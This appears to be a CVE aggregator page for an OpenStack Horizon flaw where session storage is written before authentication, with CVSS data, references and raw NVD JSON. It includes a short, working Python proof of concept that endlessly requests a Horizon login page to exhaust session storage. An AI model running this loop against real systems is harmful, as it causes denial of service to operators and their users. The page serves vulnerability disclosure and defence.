CVE-2026-43002

Description

An issue was discovered in OpenStack Horizon 25.6 and 25.7 before 25.7.3. There is a write operation to the session storage backend before authentication and thus storage can be exhausted by unauthenticated requests. This is a regression of the CVE-2014-8124 fix.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

OpenStack Horizon 25.6

OpenStack Horizon 25.7 < 25.7.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-43002: OpenStack Horizon Session Exhaustion
# This script sends unauthenticated requests to exhaust session storage.

target_url = "http://target-horizon-domain.com/auth/login/"

headers = {
    "User-Agent": "CVE-2026-43002-Test"
}

def trigger_exhaustion():
    """
    Sending requests to trigger session write before authentication.
    """
    try:
        while True:
            # The session creation/write happens before auth check
            response = requests.get(target_url, headers=headers)
            if response.status_code == 200:
                print(f"Request sent, Session storage written. Cookie: {response.cookies.get_dict()}")
            else:
                print(f"Unexpected status code: {response.status_code}")
    except KeyboardInterrupt:
        print("Stopping...")

if __name__ == "__main__":
    print("Starting DoS simulation...")
    trigger_exhaustion()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43002
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43002
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43002/
[4] VulDB https://vuldb.com/cve/CVE-2026-43002
[5] https://bugs.launchpad.net/horizon/+bug/2150331
[6] https://security.openstack.org/ossa/OSSA-2026-009.html
[7] https://www.openwall.com/lists/oss-security/2026/05/05/7
[8] https://bugs.launchpad.net/horizon/+bug/2150331

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43002", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:04.920", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in OpenStack Horizon 25.6 and 25.7 before 25.7.3. There is a write operation to the session storage backend before authentication and thus storage can be exhausted by unauthenticated requests. This is a regression of the CVE-2014-8124 fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-696"}]}], "references": [{"url": "https://bugs.launchpad.net/horizon/+bug/2150331", "source": "[email protected]"}, {"url": "https://security.openstack.org/ossa/OSSA-2026-009.html", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/05/7", "source": "[email protected]"}, {"url": "https://bugs.launchpad.net/horizon/+bug/2150331", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}